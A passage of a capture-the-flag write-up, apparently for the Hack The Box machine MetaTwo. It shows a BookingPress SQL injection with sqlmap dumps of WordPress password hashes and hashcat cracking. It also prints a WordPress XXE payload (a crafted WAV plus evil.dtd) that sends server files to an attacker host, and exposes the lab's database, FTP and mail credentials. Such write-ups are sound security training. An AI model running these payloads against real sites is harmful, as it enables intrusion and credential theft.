</code></pre></div>    </div>

    <p>This will allow me to bypass the security check and perform the SQLI attack</p>
  </li>
</ul>

<p><br /><br /></p>

<h2 id="sql-injection-exploitation">SQL Injection Exploitation</h2>

<ul>
  <li><code class="language-html highlighter-rouge">curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services<span class="err">&amp;</span>_wpnonce=8c57e8f795<span class="err">&amp;</span>category_id=33<span class="err">&amp;</span>total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'</code>
    <div class="language-json highlighter-rouge"><div class="highlight"><pre class="syntax"><code><span class="w">  </span><span class="p">[</span><span class="w">
      </span><span class="p">{</span><span class="w">
          </span><span class="nl">"bookingpress_service_id"</span><span class="p">:</span><span class="s2">"10.5.15-MariaDB-0+deb11u1"</span><span class="p">,</span><span class="w">
          </span><span class="nl">"bookingpress_category_id"</span><span class="p">:</span><span class="s2">"Debian 11"</span><span class="p">,</span><span class="w">
          </span><span class="nl">"bookingpress_service_name"</span><span class="p">:</span><span class="s2">"debian-linux-gnu"</span><span class="p">,</span><span class="w">
          </span><span class="nl">"bookingpress_service_price"</span><span class="p">:</span><span class="s2">"$1.00"</span><span class="p">,</span><span class="w">
          </span><span class="nl">"bookingpress_service_duration_val"</span><span class="p">:</span><span class="s2">"2"</span><span class="p">,</span><span class="w">
          </span><span class="nl">"bookingpress_service_duration_unit"</span><span class="p">:</span><span class="s2">"3"</span><span class="p">,</span><span class="w">
          </span><span class="nl">"bookingpress_service_description"</span><span class="p">:</span><span class="s2">"4"</span><span class="p">,</span><span class="w">
          </span><span class="nl">"bookingpress_service_position"</span><span class="p">:</span><span class="s2">"5"</span><span class="p">,</span><span class="w">
          </span><span class="nl">"bookingpress_servicedate_created"</span><span class="p">:</span><span class="s2">"6"</span><span class="p">,</span><span class="w">
          </span><span class="nl">"service_price_without_currency"</span><span class="p">:</span><span class="mi">1</span><span class="p">,</span><span class="w">
          </span><span class="nl">"img_url"</span><span class="p">:</span><span class="s2">"http:</span><span class="se">\/\/</span><span class="s2">metapress.htb</span><span class="se">\/</span><span class="s2">wp-content</span><span class="se">\/</span><span class="s2">plugins</span><span class="se">\/</span><span class="s2">bookingpress-appointment-booking</span><span class="se">\/</span><span class="s2">images</span><span class="se">\/</span><span class="s2">placeholder-img.jpg"</span><span class="w">
      </span><span class="p">}</span><span class="w">
  </span><span class="p">]</span><span class="w">
</span></code></pre></div>    </div>

    <p>I note that the DBMS is <code class="language-html highlighter-rouge">MariaDB 10.5.15</code> and the operating system <code class="language-html highlighter-rouge">Debian 11</code></p>
  </li>
  <li>
    <p>I start the effective enumeration with <strong>SQLMap</strong></p>

    <p>First of all I have to retrieve an HTTP request to be used by the tool. To do that I just need to run the previous <code class="language-html highlighter-rouge">curl</code> command with the <code class="language-html highlighter-rouge">--proxy http://127.0.0.1:8080</code> parameter and listen the request with <strong>BurpSuite</strong> proxy</p>
  </li>
  <li>On the request I also have to remove all the possible query traces, because it will be automatically made by the tool
    <pre><code class="language-txt">  POST /wp-admin/admin-ajax.php HTTP/1.1
  Host: metapress.htb
  User-Agent: curl/7.84.0
  Accept: */*
  Content-Length: 185
  Content-Type: application/x-www-form-urlencoded
  Connection: close

  action=bookingpress_front_get_category_services&amp;_wpnonce=8c57e8f795&amp;category_id=33&amp;total_service=0
</code></pre>

    <p>Ok, I save it in a txt file and I can start</p>

    <p>First of all I see which databases are there: <code class="language-html highlighter-rouge">sqlmap -r request.txt --batch --dbs</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  available databases [2]:
  [*] blog
  [*] information_schema
</code></pre></div>    </div>

    <p>Now I check all the tables present in the <code class="language-html highlighter-rouge">blog</code> database: <code class="language-html highlighter-rouge">sqlmap -r request.txt --batch -D blog --tables</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  [27 tables]
  +--------------------------------------+
  | wp_bookingpress_appointment_bookings |
  | wp_bookingpress_categories           |
  | wp_bookingpress_customers            |
  | wp_bookingpress_customers_meta       |
  | wp_bookingpress_customize_settings   |
  | wp_bookingpress_debug_payment_log    |
  | wp_bookingpress_default_daysoff      |
  | wp_bookingpress_default_workhours    |
  | wp_bookingpress_entries              |
  | wp_bookingpress_form_fields          |
  | wp_bookingpress_notifications        |
  | wp_bookingpress_payment_logs         |
  | wp_bookingpress_services             |
  | wp_bookingpress_servicesmeta         |
  | wp_bookingpress_settings             |
  | wp_commentmeta                       |
  | wp_comments                          |
  | wp_links                             |
  | wp_options                           |
  | wp_postmeta                          |
  | wp_posts                             |
  | wp_term_relationships                |
  | wp_term_taxonomy                     |
  | wp_termmeta                          |
  | wp_terms                             |
  | wp_usermeta                          |
  | wp_users                             |
  +--------------------------------------+
</code></pre></div>    </div>

    <p>Now I enumerate the <code class="language-html highlighter-rouge">wp_users</code> columns: <code class="language-html highlighter-rouge">sqlmap -r request.txt --batch -D blog -T wp_users --columns</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  [10 columns]
  +---------------------+---------------------+
  | Column              | Type                |
  +---------------------+---------------------+
  | display_name        | varchar(250)        |
  | ID                  | bigint(20) unsigned |
  | user_activation_key | varchar(255)        |
  | user_email          | varchar(100)        |
  | user_login          | varchar(60)         |
  | user_nicename       | varchar(50)         |
  | user_pass           | varchar(255)        |
  | user_registered     | datetime            |
  | user_status         | int(11)             |
  | user_url            | varchar(100)        |
  +---------------------+---------------------+
</code></pre></div>    </div>

    <p>Now I retrieve the <code class="language-html highlighter-rouge">user_pass</code> and <code class="language-html highlighter-rouge">user_login</code> columns of all the rows present: <code class="language-html highlighter-rouge">sqlmap -r request.txt --batch -D blog -T wp_users -C user_pass, user_login --dump</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  [2 entries]
  +--------------+------------------------------------+
  | display_name | user_pass                          |
  +--------------+------------------------------------+
  | manager      | $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70 |
  | admin        | $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV. |
  +--------------+------------------------------------+
</code></pre></div>    </div>
  </li>
</ul>

<p><br /><br /></p>

<h2 id="password-cracking-1">Password Cracking 1</h2>

<ul>
  <li><code class="language-html highlighter-rouge">hashid '$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.'</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  [+] Wordpress ≥ v2.6.2 
  [+] Joomla ≥ v2.5.18 
  [+] PHPass' Portable Hash
</code></pre></div>    </div>
  </li>
  <li>Now I check which <strong>Hash-Mode</strong> it matches: <code class="language-html highlighter-rouge">hashcat --example-hashes</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  400 phpass, WordPress (MD5), Joomla (MD5)
  Example: $P$984478476IagS59wHZvyQMArzfx58u.
</code></pre></div>    </div>
  </li>
  <li>I crack it then: <code class="language-html highlighter-rouge">hashcat -m 400 hashes.txt /usr/share/wordlists/rockyou.txt</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70:partylikearockstar     
                                                            
  Session..........: hashcat
  Status...........: Cracked
  Hash.Mode........: 400 (phpass)
  Hash.Target......: $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70
  Time.Started.....: Thu Dec  1 10:26:38 2022 (1 min, 20 secs)
  Time.Estimated...: Thu Dec  1 10:27:58 2022 (0 secs)
  Kernel.Feature...: Pure Kernel
  Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
  Guess.Queue......: 1/1 (100.00%)
  Speed.#1.........:     1389 H/s (11.44ms) @ Accel:256 Loops:128 Thr:1 Vec:8
  Recovered........: 1/1 (100.00%) Digests
  Progress.........: 110592/14344385 (0.77%)
  Rejected.........: 0/110592 (0.00%)
  Restore.Point....: 109568/14344385 (0.76%)
  Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:8064-8192
  Candidate.Engine.: Device Generator
  Candidates.#1....: taena -&gt; music69
  Hardware.Mon.#1..: Util: 90%

  Started: Thu Dec  1 10:26:35 2022
  Stopped: Thu Dec  1 10:28:00 2022
</code></pre></div>    </div>

    <p>Now I can use this password to log-in in the WordPress admin panel as <code class="language-html highlighter-rouge">manager</code> user</p>
  </li>
</ul>

<p><br /><br /></p>

<h2 id="xxe">XXE</h2>

<ul>
  <li>
    <p>After logged in the pannel I start to search if there is any note vulnerability as authenticated user for <code class="language-html highlighter-rouge">WordPress 5.6.2</code></p>

    <p>I found this <a href="https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447/">https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447/</a></p>

    <p>First of all I have to create two files for the exploitation</p>

    <ul>
      <li>
        <p><code class="language-html highlighter-rouge">payload.wav</code></p>

        <p><code class="language-html highlighter-rouge">echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<span class="cp">&lt;?xml version="1.0"?&gt;&lt;!DOCTYPE ANY[&lt;!ENTITY % remote SYSTEM '"'"'http://10.10.14.6:4321/evil.dtd'"'"'&gt;</span>%remote;%init;%trick;]&gt;\x00' &gt; payload.wav</code></p>
      </li>
      <li>
        <p><code class="language-html highlighter-rouge">evil.dtd</code></p>
        <div class="language-xml highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="cp">&lt;!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"&gt;</span>
  <span class="cp">&lt;!ENTITY % init "&lt;!ENTITY &amp;#x25; trick SYSTEM 'http://10.10.14.6:4321/?p=%file;'&gt;</span>"&gt;
</code></pre></div>        </div>
      </li>
    </ul>

    <p>Now I have to open a php server to receive the result of the XXE as a GET response: <code class="language-html highlighter-rouge">php -S 0.0.0.0:4321</code></p>

    <p>Perfect, now I upload the <code class="language-html highlighter-rouge">payload.wav</code> file to the site at the following url: <a href="http://metapress.htb/wp-admin/upload.php"><code class="language-html highlighter-rouge">http://metapress.htb/wp-admin/upload.php</code></a></p>

    <p>I decode the answer in base64</p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  bin:x:2:2:bin:/bin:/usr/sbin/nologin
  sys:x:3:3:sys:/dev:/usr/sbin/nologin
  sync:x:4:65534:sync:/bin:/bin/sync
  games:x:5:60:games:/usr/games:/usr/sbin/nologin
  man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
  lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
  mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
  news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
  uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
  proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
  www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
  backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
  list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
  irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
  gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
  nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
  systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
  systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
  messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
  sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
  jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash
  systemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin
  systemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin
  mysql:x:105:111:MySQL Server,,,:/nonexistent:/bin/false
  proftpd:x:106:65534::/run/proftpd:/usr/sbin/nologin
  ftp:x:107:65534::/srv/ftp:/usr/sbin/nologin
</code></pre></div>    </div>
  </li>
  <li>
    <p>I particularly notice the user <code class="language-html highlighter-rouge">jnelson</code>, so I try to get his private key (<code class="language-html highlighter-rouge">/home/jnelson/.ssh/id_rsa</code>) to enter the box with ssh</p>

    <p>Unfortunately the file seems to be inexistent (I do not receive any GET response encoded in base64)</p>
  </li>
  <li>
    <p>I look at its config files to derive the WordPress root path</p>

    <p><code class="language-html highlighter-rouge">/etc/nginx/sites-enabled/default</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  server {
      listen 80;
      listen [::]:80;

      root /var/www/metapress.htb/blog;

      index index.php index.html;

      if ($http_host != "metapress.htb") {
              rewrite ^ http://metapress.htb/;
      }

      location / {
              try_files $uri $uri/ /index.php?$args;
      }
    
      location ~ \.php$ {
              include snippets/fastcgi-php.conf;
              fastcgi_pass unix:/var/run/php/php8.0-fpm.sock;
      }

      location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg)$ {
              expires max;
              log_not_found off;
      }
  }
</code></pre></div>    </div>

    <p>I can find the root path of the website</p>

    <p>Now I just have to look at the juiciest WordPress configuration file</p>

    <p><code class="language-html highlighter-rouge">/var/www/metapress.htb/blog/wp-config.php</code></p>
    <div class="language-php highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="cp">&lt;?php</span>
  <span class="cd">/** The name of the database for WordPress */</span>
  <span class="nb">define</span><span class="p">(</span> <span class="s1">'DB_NAME'</span><span class="p">,</span> <span class="s1">'blog'</span> <span class="p">);</span>

  <span class="cd">/** MySQL database username */</span>
  <span class="nb">define</span><span class="p">(</span> <span class="s1">'DB_USER'</span><span class="p">,</span> <span class="s1">'blog'</span> <span class="p">);</span>

  <span class="cd">/** MySQL database password */</span>
  <span class="nb">define</span><span class="p">(</span> <span class="s1">'DB_PASSWORD'</span><span class="p">,</span> <span class="s1">'635Aq@TdqrCwXFUZ'</span> <span class="p">);</span>

  <span class="cd">/** MySQL hostname */</span>
  <span class="nb">define</span><span class="p">(</span> <span class="s1">'DB_HOST'</span><span class="p">,</span> <span class="s1">'localhost'</span> <span class="p">);</span>

  <span class="cd">/** Database Charset to use in creating database tables. */</span>
  <span class="nb">define</span><span class="p">(</span> <span class="s1">'DB_CHARSET'</span><span class="p">,</span> <span class="s1">'utf8mb4'</span> <span class="p">);</span>

  <span class="cd">/** The Database Collate type. Don't change this if in doubt. */</span>
  <span class="nb">define</span><span class="p">(</span> <span class="s1">'DB_COLLATE'</span><span class="p">,</span> <span class="s1">''</span> <span class="p">);</span>

  <span class="nb">define</span><span class="p">(</span> <span class="s1">'FS_METHOD'</span><span class="p">,</span> <span class="s1">'ftpext'</span> <span class="p">);</span>
  <span class="nb">define</span><span class="p">(</span> <span class="s1">'FTP_USER'</span><span class="p">,</span> <span class="s1">'metapress.htb'</span> <span class="p">);</span>
  <span class="nb">define</span><span class="p">(</span> <span class="s1">'FTP_PASS'</span><span class="p">,</span> <span class="s1">'9NYS_ii@FyL_p5M2NvJ'</span> <span class="p">);</span>
  <span class="nb">define</span><span class="p">(</span> <span class="s1">'FTP_HOST'</span><span class="p">,</span> <span class="s1">'ftp.metapress.htb'</span> <span class="p">);</span>
  <span class="nb">define</span><span class="p">(</span> <span class="s1">'FTP_BASE'</span><span class="p">,</span> <span class="s1">'blog/'</span> <span class="p">);</span>
  <span class="nb">define</span><span class="p">(</span> <span class="s1">'FTP_SSL'</span><span class="p">,</span> <span class="kc">false</span> <span class="p">);</span>
</code></pre></div>    </div>

    <p>I try the FTP credentials on the machine and bingo!</p>
  </li>
  <li>
    <p>Now that I can see the contents of the FTP server, I download all the files present with the command: <code class="language-html highlighter-rouge">wget -r --user="metapress.htb" --password="9NYS_ii@FyL_p5M2NvJ" ftp://ftp.metapress.htb/</code></p>

    <p>In the <code class="language-html highlighter-rouge">blog</code> folder there seems to be exactly the website I have already seen</p>

    <p>In the <code class="language-html highlighter-rouge">mailer</code> folder there is the <strong>PHPMailer</strong> plugin and the <code class="language-html highlighter-rouge">send_email.php</code> file</p>

    <div class="language-php highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="cp">&lt;?php</span>
  <span class="cm">/*
  * This script will be used to send an email to all our users when ready for launch
  */</span>

  <span class="kn">use</span> <span class="nc">PHPMailer\PHPMailer\PHPMailer</span><span class="p">;</span>
  <span class="kn">use</span> <span class="no">PHPMailer\PHPMailer\SMTP</span><span class="p">;</span>
  <span class="kn">use</span> <span class="nc">PHPMailer\PHPMailer\Exception</span><span class="p">;</span>

  <span class="k">require</span> <span class="s1">'PHPMailer/src/Exception.php'</span><span class="p">;</span>
  <span class="k">require</span> <span class="s1">'PHPMailer/src/PHPMailer.php'</span><span class="p">;</span>
  <span class="k">require</span> <span class="s1">'PHPMailer/src/SMTP.php'</span><span class="p">;</span>

  <span class="nv">$mail</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">PHPMailer</span><span class="p">(</span><span class="kc">true</span><span class="p">);</span>

  <span class="nv">$mail</span><span class="o">-&gt;</span><span class="nc">SMTPDebug</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>                               
  <span class="nv">$mail</span><span class="o">-&gt;</span><span class="nf">isSMTP</span><span class="p">();</span>            

  <span class="nv">$mail</span><span class="o">-&gt;</span><span class="nc">Host</span> <span class="o">=</span> <span class="s2">"mail.metapress.htb"</span><span class="p">;</span>
  <span class="nv">$mail</span><span class="o">-&gt;</span><span class="nc">SMTPAuth</span> <span class="o">=</span> <span class="kc">true</span><span class="p">;</span>                          
  <span class="nv">$mail</span><span class="o">-&gt;</span><span class="nc">Username</span> <span class="o">=</span> <span class="s2">"jnelson@metapress.htb"</span><span class="p">;</span>                 
  <span class="nv">$mail</span><span class="o">-&gt;</span><span class="nc">Password</span> <span class="o">=</span> <span class="s2">"Cb4_JmWM8zUZWMu@Ys"</span><span class="p">;</span>                           
  <span class="nv">$mail</span><span class="o">-&gt;</span><span class="nc">SMTPSecure</span> <span class="o">=</span> <span class="s2">"tls"</span><span class="p">;</span>                           
  <span class="nv">$mail</span><span class="o">-&gt;</span><span class="nc">Port</span> <span class="o">=</span> <span class="mi">587</span><span class="p">;</span>                                   

  <span class="nv">$mail</span><span class="o">-&gt;</span><span class="nc">From</span> <span class="o">=</span> <span class="s2">"jnelson@metapress.htb"</span><span class="p">;</span>
  <span class="nv">$mail</span><span class="o">-&gt;</span><span class="nc">FromName</span> <span class="o">=</span> <span class="s2">"James Nelson"</span><span class="p">;</span>

  <span class="nv">$mail</span><span class="o">-&gt;</span><span class="nf">addAddress</span><span class="p">(</span><span class="s2">"info@metapress.htb"</span><span class="p">);</span>

  <span class="nv">$mail</span><span class="o">-&gt;</span><span class="nf">isHTML</span><span class="p">(</span><span class="kc">true</span><span class="p">);</span>

  <span class="nv">$mail</span><span class="o">-&gt;</span><span class="nc">Subject</span> <span class="o">=</span> <span class="s2">"Startup"</span><span class="p">;</span>
  <span class="nv">$mail</span><span class="o">-&gt;</span><span class="nc">Body</span> <span class="o">=</span> <span class="s2">"&lt;i&gt;We just started our new blog metapress.htb!&lt;/i&gt;"</span><span class="p">;</span>

  <span class="k">try</span> <span class="p">{</span>
      <span class="nv">$mail</span><span class="o">-&gt;</span><span class="nf">send</span><span class="p">();</span>
      <span class="k">echo</span> <span class="s2">"Message has been sent successfully"</span><span class="p">;</span>
  <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nc">Exception</span> <span class="nv">$e</span><span class="p">)</span> <span class="p">{</span>
      <span class="k">echo</span> <span class="s2">"Mailer Error: "</span> <span class="mf">.</span> <span class="nv">$mail</span><span class="o">-&gt;</span><span class="nc">ErrorInfo</span><span class="p">;</span>
  <span class="p">}</span>
</code></pre></div>    </div>

    <p>I got the credentials for <code class="language-html highlighter-rouge">jnelson</code></p>
  </li>
</ul>

<p><br /><br /></p>

<h2 id="privesc">Privesc</h2>

<ul>
  <li>I use <code class="language-html highlighter-rouge">linpeas.sh</code> and find this weird folder <code class="language-html highlighter-rouge">/home/jnelson/.passpie/ssh</code>
    <ul>
      <li><code class="language-html highlighter-rouge">root.pass</code>
        <div class="language-yml highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="na">comment</span><span class="pi">:</span> <span class="s1">'</span><span class="s">'</span>
  <span class="na">fullname</span><span class="pi">:</span> <span class="s">root@ssh</span>
  <span class="na">login</span><span class="pi">:</span> <span class="s">root</span>
  <span class="na">modified</span><span class="pi">:</span> <span class="s">2022-06-26 08:58:15.621572</span>
  <span class="na">name</span><span class="pi">:</span> <span class="s">ssh</span>
  <span class="na">password</span><span class="pi">:</span> <span class="s1">'</span><span class="s">-----BEGIN</span><span class="nv"> </span><span class="s">PGP</span><span class="nv"> </span><span class="s">MESSAGE-----</span>


  <span class="s">hQEOA6I+wl+LXYMaEAP/T8AlYP9z05SEST+Wjz7+IB92uDPM1RktAsVoBtd3jhr2</span>

  <span class="s">nAfK00HJ/hMzSrm4hDd8JyoLZsEGYphvuKBfLUFSxFY2rjW0R3ggZoaI1lwiy/Km</span>

  <span class="s">yG2DF3W+jy8qdzqhIK/15zX5RUOA5MGmRjuxdco/0xWvmfzwRq9HgDxOJ7q1J2ED</span>

  <span class="s">/2GI+i+Gl+Hp4LKHLv5mMmH5TZyKbgbOL6TtKfwyxRcZk8K2xl96c3ZGknZ4a0Gf</span>

  <span class="s">iMuXooTuFeyHd9aRnNHRV9AQB2Vlg8agp3tbUV+8y7szGHkEqFghOU18TeEDfdRg</span>

  <span class="s">krndoGVhaMNm1OFek5i1bSsET/L4p4yqIwNODldTh7iB0ksB/8PHPURMNuGqmeKw</span>

  <span class="s">mboS7xLImNIVyRLwV80T0HQ+LegRXn1jNnx6XIjOZRo08kiqzV2NaGGlpOlNr3Sr</span>

  <span class="s">lpF0RatbxQGWBks5F3o=</span>

  <span class="s">=uh1B</span>

  <span class="s">-----END</span><span class="nv"> </span><span class="s">PGP</span><span class="nv"> </span><span class="s">MESSAGE-----</span>

  <span class="s">'</span>
</code></pre></div>        </div>
      </li>
      <li><code class="language-html highlighter-rouge">jnelson.pass</code>
        <div class="language-yml highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="na">comment</span><span class="pi">:</span> <span class="s1">'</span><span class="s">'</span>
  <span class="na">fullname</span><span class="pi">:</span> <span class="s">jnelson@ssh</span>
  <span class="na">login</span><span class="pi">:</span> <span class="s">jnelson</span>
  <span class="na">modified</span><span class="pi">:</span> <span class="s">2022-06-26 08:58:15.514422</span>
  <span class="na">name</span><span class="pi">:</span> <span class="s">ssh</span>
  <span class="na">password</span><span class="pi">:</span> <span class="s1">'</span><span class="s">-----BEGIN</span><span class="nv"> </span><span class="s">PGP</span><span class="nv"> </span><span class="s">MESSAGE-----</span>


  <span class="s">hQEOA6I+wl+LXYMaEAP/eA8Bw+/AcAvm5g0QFotFRzmToYPSoUr13XcUSSmuEi0c</span>

  <span class="s">4zObpYX4PvSjB6YdhIIxu/cJNZV+WbUuTU0HZTPs49i8qe1xK+g4YRELqhSo6oig</span>

  <span class="s">ZuvQptZzB8LmG8zRVB6c1aO/1SoiRvzfGmgrdaHhtyGA2rtdTZU66MIzZ+irVhED</span>

  <span class="s">/Agw0T3BdpJ15yuNSmyfpf14PeE5r/dWBc6l4/VO6ZZzWyX8SysNxcFDSHChpXsm</span>

  <span class="s">7OR9hpt9HEVZiHq87qNwSYqiNeA9p7uzKV37HQpik3zQvtudc8Ho7IUdU1a5ZCWj</span>

  <span class="s">EmrNsSI0aEBKbJ47ZoX4jfwnjRO5QrDzNf1G9vkbzb2V0k0BtHWiok49YVRmLB63</span>

  <span class="s">GFD/CGo7s1dia+0PP6BNMo0dllqI72/8rGQcM0BFOqzhzKZ3/iNNKoJUiEHzIvMW</span>

  <span class="s">7ome0qtZhiFs+5J3I2U1HA==</span>

  <span class="s">=91YS</span>

  <span class="s">-----END</span><span class="nv"> </span><span class="s">PGP</span><span class="nv"> </span><span class="s">MESSAGE-----</span>

  <span class="s">'</span>
</code></pre></div>        </div>
      </li>
    </ul>
  </li>
  <li>
    <p><code class="language-html highlighter-rouge">/usr/local/bin/passpie</code> it’s a software that I don’t know so I search on the Internet and find <a href="https://pypi.org/project/passpie/1.6.1/">https://pypi.org/project/passpie/1.6.1/</a></p>

    <p><code class="language-html highlighter-rouge">passpie</code> is a password manager who uses a passphrase for decrypt the credentials.
  The password files are encrypted using GNUPG and they are saved in yaml text file, just like the found ones!</p>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  jnelson@meta2:~/.passpie/ssh$ which paspie
  jnelson@meta2:~/.passpie/ssh$ passpie
  ╒════════╤═════════╤════════════╤═══════════╕
  │ Name   │ Login   │ Password   │ Comment   │
  ╞════════╪═════════╪════════════╪═══════════╡
  │ ssh    │ jnelson │ ********   │           │
  ├────────┼─────────┼────────────┼───────────┤
  │ ssh    │ root    │ ********   │           │
  ╘════════╧═════════╧════════════╧═══════════╛
</code></pre></div>    </div>

    <p>the key pair is saved in here: <code class="language-html highlighter-rouge">/home/jnelson/.passpie/.keys</code></p>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  -----BEGIN PGP PUBLIC KEY BLOCK-----

  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
